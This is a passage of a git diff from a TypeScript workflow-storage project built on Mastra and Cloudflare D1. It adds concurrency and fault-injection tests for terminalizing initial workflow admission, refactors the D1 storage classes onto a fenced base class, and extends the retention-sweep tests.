   backgroundTasksStore,
   createBackgroundTaskD1Domains,
+  DurableObjectBackgroundTasksStorageD1,
+  DurableObjectWorkflowsStorageD1,
 } from './d1-storage.js';
 
+async function queuedInitial(withIntent = true) {
+  const sql = openSqlite();
+  const binding = sqliteUnitDatabase(sql) as InitialAdmissionDatabase;
+  const workflows = new DurableObjectWorkflowsStorageD1({
+    binding: binding as never,
+  });
+  await workflows.init();
+  const capability = workflows[FENCED_WORKFLOW_STORAGE];
+  if (!capability) throw new Error('queued capability missing');
+  const execution = {
+    tablePrefix: '',
+    workflowId: 'workflow',
+    runId: 'run',
+    startToken: 'generation',
+  };
+  const fence = new ExecutionFenceStore(binding);
+  const { witness } = await capability.withInitialAdmission(
+    {
+      execution,
+      attemptToken: 'correlation',
+      fence,
+      requestContext: {
+        app: { keep: 'λ' },
+        'flowsafe.runProvenance': {
+          version: 2,
+          startToken: 'generation',
+          attemptToken: 'correlation',
+          resumeCounts: [],
+        },
+        'flowsafe.runLifecycle': {
+          version: 1,
+          revision: 2,
+          scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'dispatch' },
+          ...(withIntent
+            ? {
+                transitionIntent: {
+                  status: 'cancelled',
+                  requestedAt: 1,
+                  replayPrincipals: [{ kind: 'human', id: 'original' }],
+                },
+              }
+            : {}),
+        },
+      },
+      onInitialWriteAttempt: () => undefined,
+    },
+    () =>
+      workflows.persistWorkflowSnapshot({
+        workflowName: 'workflow',
+        runId: 'run',
+        snapshot: createEmptyWorkflowSnapshot('run'),
+      }),
+  );
+  return {
+    sql,
+    binding,
+    workflows,
+    capability,
+    execution,
+    expected: witness.row,
+  };
+}
+
+describe('initial terminalization in the real background queue', () => {
+  const callerFields = [
+    'request.expected',
+    'request.execution',
+    'request.attemptToken',
+    'request.nowMs',
+    'expected.tablePrefix',
+    'expected.workflowId',
+    'expected.runId',
+    'expected.resourceId',
+    'expected.snapshot',
+    'expected.createdAt',
+    'expected.updatedAt',
+    'execution.tablePrefix',
+    'execution.workflowId',
+    'execution.runId',
+    'execution.startToken',
+  ] as const;
+
+  function holdStatement(
+    h: Awaited<ReturnType<typeof queuedInitial>>,
+    pattern: RegExp,
+  ) {
+    let release = () => {};
+    let entered = () => {};
+    const held = new Promise<void>((resolve) => {
+      release = resolve;
+    });
+    const ready = new Promise<void>((resolve) => {
+      entered = resolve;
+    });
+    const prepare = h.binding.prepare.bind(h.binding);
+    let holdNext = true;
+    const boundCalls: Array<{ sql: string; values: unknown[] }> = [];
+    const calls = vi.spyOn(h.binding, 'prepare').mockImplementation((sql) => {
+      const statement = prepare(sql);
+      const bind = statement.bind.bind(statement);
+      vi.spyOn(statement, 'bind').mockImplementation((...values) => {
+        boundCalls.push({ sql, values });
+        const bound = bind(...values);
+        if (holdNext && pattern.test(sql)) {
+          holdNext = false;
+          const all = bound.all.bind(bound);
+          vi.spyOn(bound, 'all').mockImplementation(async () => {
+            entered();
+            await held;
+            return all();
+          });
+        }
+        return bound;
+      });
+      return statement;
+    });
+    return { release, ready, calls, boundCalls };
+  }
+
+  it.each(
+    callerFields,
+  )('preserves the first %s getter fault before the held queue is released', async (field) => {
+    const h = await queuedInitial();
+    const barrier = holdStatement(h, /^INSERT INTO/i);
+    const inflight: Promise<unknown>[] = [];
+    try {
+      const holder = h.workflows.persistWorkflowSnapshot({
+        workflowName: 'workflow',
+        runId: 'run',
+        snapshot: JSON.parse(h.expected.snapshot),
+        updatedAt: new Date(h.expected.updatedAt),
+      });
+      inflight.push(holder);
+      await barrier.ready;
+      barrier.calls.mockClear();
+      const request: InitialTerminalizationRequest = {
+        expected: { ...h.expected },
+        execution: { ...h.execution },
+        attemptToken: 'correlation',
+        nowMs: 1_700_000_000_123,
+      };
+      const [part, key] = field.split('.');
+      if (!key) throw new Error('getter key missing');
+      const target =
+        part === 'request'
+          ? request
+          : part === 'expected'
+            ? request.expected
+            : request.execution;
+      const fault = new Error(`first caller getter: ${field}`);
+      const getter = vi.fn(() => {
+        throw fault;
+      });
+      Object.defineProperty(target, key, { enumerable: true, get: getter });
+      let outcome: unknown;
+      const operation = h.capability.terminalizeInitialAdmission(request).then(
+        (result) => {
+          outcome = result;
+        },
+        (error: unknown) => {
+          outcome = error;
+        },
+      );
+      inflight.push(operation);
+      await Promise.resolve();
+      expect(outcome).toBe(fault);
+      expect(getter).toHaveBeenCalledTimes(1);
+      expect(barrier.calls).not.toHaveBeenCalled();
+      expect(
+        h.sql
+          .prepare(
+            "SELECT snapshot FROM mastra_workflow_snapshot WHERE run_id = 'run'",
+          )
+          .all(),
+      ).toEqual([{ snapshot: h.expected.snapshot }]);
+    } finally {
+      barrier.release();
+      await Promise.allSettled(inflight);
+      vi.restoreAllMocks();
+    }
+  });
+
+  it('keeps changed pending bytes after a held partial writer instead of refreshing repair', async () => {
+    const h = await queuedInitial();
+    const barrier = holdStatement(h, /^INSERT INTO/i);
+    const inflight: Promise<unknown>[] = [];
+    try {
+      const holder = h.workflows.updateWorkflowState({
+        workflowName: 'workflow',
+        runId: 'run',
+        opts: {
+          status: 'pending',
+          tracingContext: { traceId: 'changed-pending', spanId: 'partial' },
+        },
+      });
+      inflight.push(holder);
+      await barrier.ready;
+      const operation = h.capability.terminalizeInitialAdmission({
+        expected: h.expected,
+        execution: h.execution,
+        attemptToken: 'correlation',
+        nowMs: 1_700_000_000_123,
+      });
+      inflight.push(operation);
+      void operation.catch(() => undefined);
+      await h.workflows.persistWorkflowSnapshot({
+        workflowName: 'workflow',
+        runId: 'unrelated',
+        snapshot: createEmptyWorkflowSnapshot('unrelated'),
+      });
+      expect(
+        barrier.calls.mock.calls.filter(([sql]) => sql.startsWith('UPDATE "')),
+      ).toEqual([]);
+      barrier.release();
+      await holder;
+      const result = await operation;
+      expect(result.kind).toBe('conflict');
+      expect(result).not.toHaveProperty('cleanup');
+      expect(
+        barrier.calls.mock.calls.filter(([sql]) => sql.startsWith('UPDATE "')),
+      ).toHaveLength(1);
+      const row = await h.capability.readSnapshot(h.execution);
+      expect(result.row).toEqual(row);
+      const snapshot = JSON.parse(row?.snapshot ?? '');
+      expect(snapshot.status).toBe('pending');
+      expect(snapshot.tracingContext).toEqual({
+        traceId: 'changed-pending',
+        spanId: 'partial',
+      });
+      expect(
+        snapshot.requestContext['flowsafe.runProvenance'].initialAdmission,
+      ).toBe(true);
+      expect(snapshot.requestContext['flowsafe.runLifecycle'].revision).toBe(2);
+    } finally {
+      barrier.release();
+      await Promise.allSettled(inflight);
+      vi.restoreAllMocks();
+    }
+  });
+
+  it('holds a later partial update behind repair and preserves the terminal projection', async () => {
+    const h = await queuedInitial(false);
+    const barrier = holdStatement(h, /^UPDATE "/);
+    const inflight: Promise<unknown>[] = [];
+    try {
+      const operation = h.capability.terminalizeInitialAdmission({
+        expected: h.expected,
+        execution: h.execution,
+        attemptToken: 'correlation',
+        nowMs: 1_700_000_000_123,
+      });
+      inflight.push(operation);
+      void operation.catch(() => undefined);
+      await barrier.ready;
+      let updated = false;
+      const partial = h.workflows
+        .updateWorkflowState({
+          workflowName: 'workflow',
+          runId: 'run',
+          opts: {
+            status: 'failed',
+            tracingContext: {
+              traceId: 'retained-after-repair',
+              spanId: 'partial',
+            },
+          },
+        })
+        .finally(() => {
+          updated = true;
+        });
+      inflight.push(partial);
+      void partial.catch(() => undefined);
+      await h.workflows.persistWorkflowSnapshot({
+        workflowName: 'workflow',
+        runId: 'unrelated',
+        snapshot: createEmptyWorkflowSnapshot('unrelated'),
+      });
+      expect(updated).toBe(false);
+      expect(
+        barrier.boundCalls.filter(
+          ({ sql, values }) => /^SELECT/i.test(sql) && values.includes('run'),
+        ),
+      ).toEqual([]);
+      barrier.release();
+      const result = await operation;
+      expect(result.kind).toBe('terminalized');
+      const state = await partial;
+      expect(state).toMatchObject({
+        status: 'failed',
+        tracingContext: { traceId: 'retained-after-repair', spanId: 'partial' },
+        error: { name: 'StartOutcomeUnknown' },
+        requestContext: {
+          app: { keep: 'λ' },
+          'flowsafe.runLifecycle': { revision: 2 },
+        },
+      });
+      const row = await h.capability.readSnapshot(h.execution);
+      const snapshot = JSON.parse(row?.snapshot ?? '');
+      expect(snapshot).toEqual(state);
+      expect(
+        Object.hasOwn(
+          snapshot.requestContext['flowsafe.runProvenance'],
+          'initialAdmission',
+        ),
+      ).toBe(false);
+      expect(
+        barrier.calls.mock.calls.filter(([sql]) => sql.startsWith('UPDATE "')),
+      ).toHaveLength(1);
+    } finally {
+      barrier.release();
+      await Promise.allSettled(inflight);
+      vi.restoreAllMocks();
+    }
+  });
+
+  it.each([
+    ...callerFields,
+    'capability-before',
+    'capability-during',
+    'late-getters',
+  ])('captures %s before an ordinary persist holder yields the run lock', async (variant) => {
+    vi.useFakeTimers({ toFake: ['Date'] });
+    vi.setSystemTime(1_700_000_000_000);
+    let release = () => {};
+    const inflight: Promise<unknown>[] = [];
+    try {
+      const h = await queuedInitial();
+      const foreign = await queuedInitial();
+      const foreignBefore = foreign.sql
+        .prepare('SELECT * FROM mastra_workflow_snapshot')
+        .all();
+      const saved = h.capability;
+      if (variant === 'capability-before')
+        Object.defineProperty(h.workflows, FENCED_WORKFLOW_STORAGE, {
+          value: foreign.capability,
+        });
+      let entered = () => {};
+      const held = new Promise<void>((resolve) => {
+        release = resolve;
+      });
+      const enteredPromise = new Promise<void>((resolve) => {
+        entered = resolve;
+      });
+      const prepare = h.binding.prepare.bind(h.binding);
+      let holdNext = true;
+      const casValues: unknown[][] = [];
+      const calls = vi.spyOn(h.binding, 'prepare').mockImplementation((sql) => {
+        const statement = prepare(sql);
+        const bind = statement.bind.bind(statement);
+        vi.spyOn(statement, 'bind').mockImplementation((...values) => {
+          const bound = bind(...values);
+          if (sql.startsWith('UPDATE "')) casValues.push(values);
+          if (/^INSERT INTO/i.test(sql) && holdNext) {
+            holdNext = false;
+            const all = bound.all.bind(bound);
+            vi.spyOn(bound, 'all').mockImplementation(async () => {
+              entered();
+              await held;
+              return all();
+            });
+          }
+          return bound;
+        });
+        return statement;
+      });
+      const holder = h.workflows.persistWorkflowSnapshot({
+        workflowName: 'workflow',
+        runId: 'run',
+        snapshot: JSON.parse(h.expected.snapshot),
+        updatedAt: new Date(h.expected.updatedAt),
+      });
+      inflight.push(holder);
+      await enteredPromise;
+      const reads = new Map<string, number>();
+      function observed<T extends object>(source: T, label: string): T {
+        const copy = { ...source };
+        for (const key of Object.keys(source))
+          Object.defineProperty(copy, key, {
+            enumerable: true,
+            configurable: true,
+            get() {
+              const name = `${label}.${key}`;
+              const count = (reads.get(name) ?? 0) + 1;
+              reads.set(name, count);
+              if (variant === 'late-getters' && count > 1)
+                throw new Error(`late caller getter: ${name}`);
+              return source[key as keyof T];
+            },
+          });
+        return copy;
+      }
+      const raw = { ...h.expected };
+      const execution = { ...h.execution };
+      const request = {
+        expected: observed(raw, 'expected'),
+        execution: observed(execution, 'execution'),
+        attemptToken: 'correlation',
+        nowMs: 1_700_000_000_123,
+      };
+      let done = false;
+      const operation = saved
+        .terminalizeInitialAdmission(observed(request, 'request'))
+        .finally(() => {
+          done = true;
+        });
+      inflight.push(operation);
+      void operation.catch(() => undefined);
+      expect(reads.size).toBe(15);
+      expect([...reads.values()]).toEqual(new Array(15).fill(1));
+      if (variant === 'capability-during')
+        Object.defineProperty(h.workflows, FENCED_WORKFLOW_STORAGE, {
+          value: foreign.capability,
+        });
+      else if (
+        !variant.startsWith('capability') &&
+        variant !== 'late-getters'
+      ) {
+        const [part, key] = variant.split('.');
+        const target =
+          part === 'request' ? request : part === 'expected' ? raw : execution;
+        if (!key) throw new Error('mutation key missing');
+        Object.defineProperty(target, key, {
+          value: null,
+          configurable: true,
+          enumerable: true,
+        });
+      }
+      await h.workflows.persistWorkflowSnapshot({
+        workflowName: 'workflow',
+        runId: 'unrelated',
+        snapshot: createEmptyWorkflowSnapshot('unrelated'),
+      });
+      expect(done).toBe(false);
+      expect(casValues).toEqual([]);
+      expect(
+        calls.mock.calls.filter(([sql]) => sql.startsWith('UPDATE "')),
+      ).toEqual([]);
+      release();
+      await holder;
+      const result = await operation;
+      expect(result.kind).toBe('terminalized');
+      if (result.kind === 'conflict') throw new Error('unexpected conflict');
+      expect(result.row.updatedAt).toBe('2023-11-14T22:13:20.123Z');
+      expect(casValues).toEqual([
+        [
+          result.row.snapshot,
+          result.row.updatedAt,
+          'workflow',
+          'run',
+          h.expected.snapshot,
+          h.expected.createdAt,
+          h.expected.updatedAt,
+          h.expected.resourceId,
+        ],
+      ]);
+      expect(result.cleanup).toEqual({
+        revision: 3,
+        status: 'cancelled',
+        cleanupCompleted: false,
+        scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'dispatch' },
+      });
+      const snapshot = JSON.parse(result.row.snapshot);
+      expect(snapshot.timestamp).toBe(1_700_000_000_123);
+      expect(snapshot.requestContext.app).toEqual({ keep: 'λ' });
+      expect(snapshot.requestContext['flowsafe.runProvenance']).toEqual({
+        version: 2,
+        startToken: 'generation',
+        attemptToken: 'correlation',
+        resumeCounts: [],
+      });
+      expect([...reads.values()]).toEqual(new Array(15).fill(1));
+      expect(
+        foreign.sql.prepare('SELECT * FROM mastra_workflow_snapshot').all(),
+      ).toEqual(foreignBefore);
+    } finally {
+      release();
+      await Promise.allSettled(inflight);
+      vi.restoreAllMocks();
+      vi.useRealTimers();
+    }
+  });
+
+  it('waits for a real partial update and preserves its resulting progress', async () => {
+    const h = await queuedInitial();
+    const prepare = h.binding.prepare.bind(h.binding);
+    let entered = () => {};
+    let release = () => {};
+    const held = new Promise<void>((resolve) => {
+      release = resolve;
+    });
+    const enteredPromise = new Promise<void>((resolve) => {
+      entered = resolve;
+    });
+    let holdNext = true;
+    vi.spyOn(h.binding, 'prepare').mockImplementation((sql) => {
+      const statement = prepare(sql);
+      const bind = statement.bind.bind(statement);
+      vi.spyOn(statement, 'bind').mockImplementation((...values) => {
+        const bound = bind(...values);
+        if (/^INSERT INTO/i.test(sql) && holdNext) {
+          holdNext = false;
+          const all = bound.all.bind(bound);
+          vi.spyOn(bound, 'all').mockImplementation(async () => {
+            entered();
+            await held;
+            return all();
+          });
+        }
+        return bound;
+      });
+      return statement;
+    });
+    try {
+      const holder = h.workflows.updateWorkflowState({
+        workflowName: 'workflow',
+        runId: 'run',
+        opts: { status: 'running' },
+      });
+      await enteredPromise;
+      const request: InitialTerminalizationRequest = {
+        expected: h.expected,
+        execution: h.execution,
+        attemptToken: 'correlation',
+        nowMs: 123,
+      };
+      const operation = h.capability.terminalizeInitialAdmission(request);
+      release();
+      await holder;
+      const result = await operation;
+      expect(result.kind).toBe('progressed');
+      const row = await h.capability.readSnapshot(h.execution);
+      expect(row).toEqual(result.row);
+      expect(JSON.parse(row?.snapshot ?? '').status).toBe('running');
+      expect(
+        JSON.parse(row?.snapshot ?? '').requestContext['flowsafe.runProvenance']
+          .initialAdmission,
+      ).toBe(true);
+    } finally {
+      release();
+      vi.restoreAllMocks();
+    }
+  });
+});
+
 describe('backgroundTasksStore — fail-closed accessor', () => {
   it('throws a clear message when the hosting Mastra has no storage', async () => {
     const mastra = { getStorage: () => undefined } as unknown as Mastra;
@@ -36,6 +592,202 @@ describe('backgroundTasksStore — fail-closed accessor', () => {
 });
 
 describe('D1 execution domains', () => {
+  it.each([
+    'owned',
+    'queued',
+    'tasks',
+  ])('preserves selected adapter mode through the %s constructor', async (kind) => {
+    const client = {
+      query: vi.fn(async () => ({ result: [{ success: true, results: [] }] })),
+    };
+    const binding = sqliteUnitDatabase(openSqlite()) as never;
+    const construct = (config: D1DomainConfig) =>
+      kind === 'owned'
+        ? new FencedWorkflowsStorageD1(config)
+        : kind === 'queued'
+          ? new DurableObjectWorkflowsStorageD1(config)
+          : new DurableObjectBackgroundTasksStorageD1(
+              config,
+              new DurableObjectWorkflowsStorageD1({ binding }),
+            );
+    const read = (domain: ReturnType<typeof construct>) =>
+      domain instanceof BackgroundTasksStorageD1
+        ? domain.getTask('task')
+        : domain.loadWorkflowSnapshot({
+            workflowName: 'workflow',
+            runId: 'run',
+          });
+    for (const mode of ['own', 'inherited', 'non-enumerable']) {
+      let discarded = 0;
+      const config = mode === 'inherited' ? Object.create({ client }) : {};
+      if (mode !== 'inherited')
+        Object.defineProperty(config, 'client', {
+          value: client,
+          enumerable: mode === 'own',
+        });
+      Object.defineProperty(config, 'binding', {
+        enumerable: true,
+        get() {
+          discarded += 1;
+          throw new Error('discarded binding');
+        },
+      });
+      Object.defineProperty(config, 'apiToken', {
+        enumerable: true,
+        get() {
+          discarded += 1;
+          throw new Error('discarded credential');
+        },
+      });
+      const domain = construct(config);
+      await read(domain);
+      if (domain instanceof FencedWorkflowsStorageD1)
+        expect(domain[FENCED_WORKFLOW_STORAGE]).toBeUndefined();
+      expect(discarded).toBe(0);
+    }
+    expect(client.query).toHaveBeenCalledTimes(3);
+    const invalid = {
+      client: undefined,
+      get binding() {
+        throw new Error('binding fallback');
+      },
+    } as unknown as D1DomainConfig;
+    const domain = construct(invalid);
+    if (domain instanceof FencedWorkflowsStorageD1)
+      expect(domain[FENCED_WORKFLOW_STORAGE]).toBeUndefined();
+    await expect(read(domain)).rejects.not.toThrow('binding fallback');
+    let bindingReads = 0;
+    let prefixReads = 0;
+    const selected = construct({
+      get binding() {
+        bindingReads += 1;
+        return binding;
+      },
+      get tablePrefix() {
+        prefixReads += 1;
+        return 'First_';
+      },
+      get apiToken() {
+        throw new Error('unused REST');
+      },
+    } as D1DomainConfig);
+    if (selected instanceof FencedWorkflowsStorageD1)
+      expect(selected[FENCED_WORKFLOW_STORAGE]?.tablePrefix).toBe('first_');
+    expect([bindingReads, prefixReads]).toEqual([1, 1]);
+    for (const mode of ['inherited', 'non-enumerable']) {
+      const config =
+        mode === 'inherited'
+          ? Object.create({ binding })
+          : Object.defineProperty({}, 'binding', { value: binding });
+      const domain = construct(config);
+      if (domain instanceof FencedWorkflowsStorageD1)
+        expect(domain[FENCED_WORKFLOW_STORAGE]?.database).toBe(binding);
+    }
+    let clientReads = 0;
+    const capturedClient = construct({
+      get client() {
+        clientReads += 1;
+        if (clientReads !== 1) throw new Error('client reread');
+        return client;
+      },
+    });
+    await read(capturedClient);
+    expect(clientReads).toBe(1);
+    const restReads: string[] = [];
+    const rest = construct({
+      get accountId() {
+        restReads.push('accountId');
+        return 'account';
+      },
+      get apiToken() {
+        restReads.push('apiToken');
+        return 'test-token';
+      },
+      get databaseId() {
+        restReads.push('databaseId');
+        return 'database';
+      },
+      get tablePrefix() {
+        restReads.push('tablePrefix');
+        return 'rest_';
+      },
+      get unused() {
+        throw new Error('unused REST field');
+      },
+    } as D1DomainConfig);
+    expect(restReads).toEqual([
+      'accountId',
+      'apiToken',
+      'databaseId',
+      'tablePrefix',
+    ]);
+    if (rest instanceof FencedWorkflowsStorageD1)
+      expect(rest[FENCED_WORKFLOW_STORAGE]).toBeUndefined();
+  });
+
+  it('keeps the initial ALS scope through the lock and preserves its stamp on ordinary updates', async () => {
+    const binding = sqliteUnitDatabase(
+      openSqlite(),
+    ) as InitialAdmissionDatabase;
+    const workflows = new DurableObjectWorkflowsStorageD1({
+      binding: binding as never,
+    });
+    await workflows.init();
+    const capability = workflows[FENCED_WORKFLOW_STORAGE];
+    if (!capability) throw new Error('missing queued capability');
+    const fence = new ExecutionFenceStore(binding);
+    const execution = {
+      tablePrefix: '',
+      workflowId: 'workflow',
+      runId: 'run',
+      startToken: 'generation',
+    };
+    const snapshot = createEmptyWorkflowSnapshot('run');
+    const admitted = await capability.withInitialAdmission(
+      {
+        execution,
+        attemptToken: 'correlation',
+        fence,
+        requestContext: {
+          'flowsafe.runProvenance': {
+            version: 2,
+            startToken: 'generation',
+            attemptToken: 'correlation',
+            resumeCounts: [],
+          },
+        },
+        onInitialWriteAttempt: () => undefined,
+      },
+      () =>
+        workflows.persistWorkflowSnapshot({
+          workflowName: 'workflow',
+          runId: 'run',
+          snapshot,
+        }),
+    );
+    expect(admitted.witness.execution).toEqual(execution);
+    expect(workflows.supportsConcurrentUpdates()).toBe(true);
+    await workflows.updateWorkflowState({
+      workflowName: 'workflow',
+      runId: 'run',
+      opts: { status: 'running' },
+    });
+    expect(
+      (
+        await workflows.loadWorkflowSnapshot({
+          workflowName: 'workflow',
+          runId: 'run',
+        })
+      )?.status,
+    ).toBe('running');
+    const updated = await capability.readSnapshot(execution);
+    expect(updated?.snapshot).not.toBe(admitted.witness.row.snapshot);
+    expect(
+      JSON.parse(updated?.snapshot ?? '').requestContext[
+        'flowsafe.runProvenance'
+      ].initialAdmission,
+    ).toBe(true);
+  });
   it('constructs deployment-wide background-task domains', () => {
     const binding = sqliteUnitDatabase(openSqlite()) as never;
     expect(() => createBackgroundTaskD1Domains({ binding })).not.toThrow();
diff --git a/packages/flowsafe/src/background-tasks/d1-storage.ts b/packages/flowsafe/src/background-tasks/d1-storage.ts
index 3aad03ab..04191299 100644
--- a/packages/flowsafe/src/background-tasks/d1-storage.ts
+++ b/packages/flowsafe/src/background-tasks/d1-storage.ts
@@ -12,7 +12,7 @@ import type { D1Database } from '@cloudflare/workers-types';
 import {
   BackgroundTasksStorageD1,
   type D1DomainConfig,
-  WorkflowsStorageD1,
+  type WorkflowsStorageD1,
 } from '@mastra/cloudflare-d1';
 import type { TaskFilter, TaskListResult } from '@mastra/core/background-tasks';
 import type { Mastra } from '@mastra/core/mastra';
@@ -23,7 +23,10 @@ import {
   type UpdateWorkflowStateOptions,
 } from '@mastra/core/storage';
 import type { StepResult, WorkflowRunState } from '@mastra/core/workflows';
-
+import {
+  captureD1DomainConfig,
+  FencedWorkflowsStorageD1,
+} from '../do-runner/fenced-workflows-d1.js';
 import type { D1DatabaseBinding } from '../do-runner/index.js';
 import { validateTablePrefix } from '../do-runner/table-prefix.js';
 
@@ -68,23 +71,11 @@ export const SERIALIZED_WORKFLOWS_D1: unique symbol = Symbol(
   'flowsafe.serializedWorkflowsD1',
 );
 
-function validatedDomainConfig(config: D1DomainConfig): D1DomainConfig {
-  const tablePrefix = validateTablePrefix(config.tablePrefix);
-  return {
-    ...config,
-    ...(tablePrefix !== undefined ? { tablePrefix } : {}),
-  };
-}
-
 /** Serialized D1 workflow updates for one Durable Object owner. */
-export class DurableObjectWorkflowsStorageD1 extends WorkflowsStorageD1 {
+export class DurableObjectWorkflowsStorageD1 extends FencedWorkflowsStorageD1 {
   readonly [SERIALIZED_WORKFLOWS_D1] = true as const;
   readonly #tails = new Map<string, Promise<unknown>>();
 
-  constructor(config: D1DomainConfig) {
-    super(validatedDomainConfig(config));
-  }
-
   override supportsConcurrentUpdates(): boolean {
     return true;
   }
@@ -113,6 +104,14 @@ export class DurableObjectWorkflowsStorageD1 extends WorkflowsStorageD1 {
     return super.persistWorkflowSnapshot(args);
   }
 
+  protected override withInitialTerminalizationLock<T>(
+    workflowName: string,
+    runId: string,
+    operation: () => Promise<T>,
+  ): Promise<T> {
+    return this.#locked(workflowName, runId, operation);
+  }
+
   override persistWorkflowSnapshot(
     args: Parameters<WorkflowsStorageD1['persistWorkflowSnapshot']>[0],
   ): Promise<void> {
@@ -194,7 +193,7 @@ export class DurableObjectBackgroundTasksStorageD1 extends BackgroundTasksStorag
     config: D1DomainConfig,
     workflows: DurableObjectWorkflowsStorageD1,
   ) {
-    super(validatedDomainConfig(config));
+    super(captureD1DomainConfig(config));
     this.#workflows = workflows;
   }
 
diff --git a/packages/flowsafe/src/do-runner/CLAUDE.md b/packages/flowsafe/src/do-runner/CLAUDE.md
index 3123127b..ec173748 100644
--- a/packages/flowsafe/src/do-runner/CLAUDE.md
+++ b/packages/flowsafe/src/do-runner/CLAUDE.md
@@ -10,6 +10,7 @@
 - `do-status-error.ts`, `do-error-response.ts`: Durable Object refusal base class and structured HTTP rendering
 - `durable-object.ts`, `thread-do.ts`, `hub-do.ts`: Durable Object hosts
 - `path-safe-id.ts`, `memory-id.ts`, `execution-principal-header.ts`: run, memory, and execution identity
+- `constants.ts`, `testing.ts`: the published `do-runner/constants` and `do-runner/testing` entries, re-exporting `suspension-deadline.ts`'s deadline values, timeout detection, and fixture factory
 - `runtime.ts`, `pubsub.ts`: resume provenance and observation state
 - `mastra-schema-guard.test.ts`: adopted-domain inventory and retention coverage
 
diff --git a/packages/flowsafe/src/do-runner/constants.ts b/packages/flowsafe/src/do-runner/constants.ts
new file mode 100644
index 00000000..a022dec8
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/constants.ts
@@ -0,0 +1,14 @@
+// SPDX-License-Identifier: Apache-2.0
+
+export type {
+  SuspensionTimeoutEnvelope,
+  SuspensionTimeoutResumeData,
+} from './suspension-deadline.js';
+export {
+  isArmableSuspensionDeadlineMs,
+  isSuspensionTimeoutResumeData,
+  MAX_SUSPENSION_DEADLINE_MS,
+  MIN_SUSPENSION_DEADLINE_MS,
+  SUSPENSION_DEADLINE_PAYLOAD_KEY,
+  SUSPENSION_TIMEOUT_RESUME_KEY,
+} from './suspension-deadline.js';
diff --git a/packages/flowsafe/src/do-runner/d1-storage.test.ts b/packages/flowsafe/src/do-runner/d1-storage.test.ts
index 7d4629ae..b73da86a 100644
--- a/packages/flowsafe/src/do-runner/d1-storage.test.ts
+++ b/packages/flowsafe/src/do-runner/d1-storage.test.ts
@@ -3,7 +3,7 @@
 // ISO-cutoff comparisons execute in SQLite, while the Wrangler harness owns
 // D1 concurrency, transaction, and runtime fidelity.
 
-import { describe, expect, it } from 'vitest';
+import { describe, expect, it, vi } from 'vitest';
 
 import {
   openSqlite,
@@ -34,6 +34,8 @@ import { D1ThreadStateStorage } from '../signals/thread-state-d1.js';
 import type { D1DatabaseBinding } from './cf-types.js';
 import {
   createD1Storage,
+  type PurgeExpiredRunsOptions,
+  parseRunRetentionCursor,
   purgeExpiredBackgroundTasks,
   purgeExpiredNotifications,
   purgeExpiredScheduleTriggers,
@@ -42,14 +44,21 @@ import {
   purgeExpiredWorkflowRuns,
   RUN_TTL_FLOWSAFE_PURGE_TABLES,
   type RunDeadlineCursor,
+  type RunRetentionCursor,
   type SnapshotDatabase,
   type SnapshotStatement,
   sweepExpiredRunDeadlines,
 } from './d1-storage.js';
+import { normalizeStartExecutionIdentity } from './execution-admission.js';
+import { FENCED_WORKFLOW_STORAGE } from './fenced-workflow-capability.js';
+import { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js';
+import { parseRunLifecycle } from './run-lifecycle.js';
+import { decodeRunStartIdentity } from './run-provenance.js';
 import {
   START_IDEMPOTENCY_DDL,
   START_IDEMPOTENCY_TABLE,
 } from './start-idempotency.js';
+import { validateTablePrefix } from './table-prefix.js';
 
 // Domain-local result-envelope adapter for pure purge SQL units. It maps
 // node:sqlite's affected-row count to the structural SnapshotDatabase seam;
@@ -72,13 +81,20 @@ function d1Like(db: SqliteDatabase): SnapshotDatabase {
   return { prepare: (sql: string) => statement(sql, []) };
 }
 
+type RetentionTestDatabase = SnapshotDatabase &
+  Required<Pick<SnapshotDatabase, 'batch'>>;
+
+function retentionDb(db: SqliteDatabase): RetentionTestDatabase {
+  return sqliteUnitDatabase(db) as RetentionTestDatabase;
+}
+
 function lifecycleStores(db: SqliteDatabase): {
-  snapshots: SnapshotDatabase;
+  snapshots: RetentionTestDatabase;
   resources: D1ResourceOwnershipStore;
 } {
   const binding = sqliteUnitDatabase(db);
   return {
-    snapshots: binding as SnapshotDatabase,
+    snapshots: binding as RetentionTestDatabase,
     resources: new D1ResourceOwnershipStore(
       binding as ResourceOwnershipDatabase,
     ),
@@ -98,7 +114,8 @@ function createSnapshotTable(db: SqliteDatabase, prefix = ''): void {
       resourceId TEXT,
       snapshot TEXT NOT NULL,
       createdAt TEXT NOT NULL,
-      updatedAt TEXT NOT NULL
+      updatedAt TEXT NOT NULL,
+      UNIQUE(workflow_name, run_id)
     )`,
   ).run();
 }
@@ -247,6 +264,11 @@ interface PublicStoragePrefixCase {
 }
 
 const PUBLIC_STORAGE_PREFIX_CASES = [
+  {
+    name: 'FencedWorkflowsStorageD1',
+    construct: (binding, tablePrefix) =>
+      new FencedWorkflowsStorageD1({ binding: binding as never, tablePrefix }),
+  },
   {
     name: 'D1NotificationsStorage',
     construct: (binding, tablePrefix) =>
@@ -317,7 +339,12 @@ const PUBLIC_PURGE_CASES = [
   {
     name: 'purgeExpiredWorkflowRuns',
     run: (db, tablePrefix, now) =>
-      purgeExpiredWorkflowRuns(db, { ttlMs: DAY_MS, tablePrefix, now }),
+      purgeExpiredWorkflowRuns(db as RetentionTestDatabase, {
+        advanceCursor: async () => {},
+        ttlMs: DAY_MS,
+        tablePrefix,
+        now,
+      }),
   },
   {
     name: 'purgeExpiredThreads',
@@ -347,6 +374,56 @@ const PUBLIC_PURGE_CASES = [
 ] satisfies PublicPurgeCase[];
 
 describe('sweepExpiredRunDeadlines', () => {
+  it.each([
+    'transition',
+    'cursor',
+  ] as const)('contains a throwing Error.message during %s failure reporting', async (boundary) => {
+    const db = openSqlite();
+    createSnapshotTable(db);
+    seedDeadlineRun(db, {
+      runId: 'poison',
+      status: 'suspended',
+      revision: 1,
+      deadlineAt: NOW - 2,
+    });
+    seedDeadlineRun(db, {
+      runId: 'eligible',
+      status: 'suspended',
+      revision: 1,
+      deadlineAt: NOW - 1,
+    });
+    const failure = Object.defineProperty(new Error(), 'message', {
+      get() {
+        throw new Error('message getter failed');
+      },
+    });
+    const attempts: string[] = [];
+    const advances: string[] = [];
+    let cursor: RunDeadlineCursor | undefined;
+    await expect(
+      sweepExpiredRunDeadlines(d1Like(db), {
+        now: () => NOW,
+        transition: async (candidate) => {
+          attempts.push(candidate.runId);
+          if (boundary === 'transition' && candidate.runId === 'poison')
+            throw failure;
+        },
+        advanceCursor: async (next) => {
+          advances.push(next.runId);
